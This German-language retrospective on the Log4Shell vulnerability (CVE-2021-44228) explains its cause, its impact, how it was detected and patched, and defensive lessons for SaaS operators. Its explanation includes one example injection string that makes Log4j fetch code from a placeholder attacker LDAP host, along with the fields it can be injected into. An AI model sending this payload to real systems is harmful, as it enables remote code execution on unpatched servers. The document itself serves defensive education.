RCE

Log4Shell — Die größte RCE des Internets

Was geschah

Am 9. Dezember 2021 erschien ein Proof-of-Concept für CVE-2021-44228 auf Twitter. Apache Log4j 2.x — die Logging-Bibliothek, die praktisch jede Java-Anwendung weltweit nutzt — erlaubte Remote Code Execution durch eine einzige manipulierte Log-Nachricht. Der Angriffsstring $\{jndi:ldap://attacker.com/a} zwang Log4j, sich mit einem Angreifer-kontrollierten LDAP-Server zu verbinden und eine bösartige Java-Klasse zu deserialisieren. Keine Authentifizierung erforderlich.

Ursache

Log4js JNDI-Lookup-Funktion. Wenn Log4j auf $\{jndi:...} in einer Log-Nachricht stieß, löste es den Lookup auf, indem es sich mit dem angegebenen Verzeichnisdienst verband. Ein Angreifer konnte diesen String in jedes Feld injizieren, das geloggt wird — HTTP User-Agent-Header, Benutzernamen, Chat-Nachrichten, sogar E-Mail-Betreffzeilen. Der LDAP-Server gab ein serialisiertes Java-Objekt zurück, das Log4j deserialisierte und beliebigen Code ausführte.

Wer war betroffen

  • Apple iCloud
  • Steam, Twitter, Amazon Web Services
  • VMware vCenter, Apache Struts, Elasticsearch
  • Minecraft-Server (die Schwachstelle wurde über den Minecraft-Chat entdeckt)
  • Schätzung: 93 % der Enterprise-Cloud-Umgebungen

Wie es erkannt wurde

Sicherheitsteams fanden Exploit-Versuche in ihren Webserver-Logs — User-Agent-Header mit jndi:ldap-Strings. In internen Systemen eingebettete Canary-Tokens lösten ausgehende LDAP-Callbacks aus. Microsoft, CrowdStrike und Cloudflare veröffentlichten innerhalb weniger Stunden Erkennungsregeln.

Wie es behoben wurde

Apache veröffentlichte Log4j 2.17.1 — vier Patches in 10 Tagen, da Umgehungen entdeckt wurden.

Lehren für Ihr SaaS

  • SBOM ist nicht optional. Sie können Log4j nicht patchen, wenn Sie nicht wissen, dass Sie es verwenden.
  • Log-Injection ist ein realer Angriffsvektor. Bereinigen Sie alle Benutzerdaten vor der Protokollierung.
  • Egress-Filterung ist wichtig. Blockieren Sie ausgehendes LDAP, RMI und DNS von Ihren Anwendungsservern.
  • Patch-Geschwindigkeit > Patch-Perfektion. Vier Patches in 10 Tagen. Erst bereitstellen, dann verfeinern.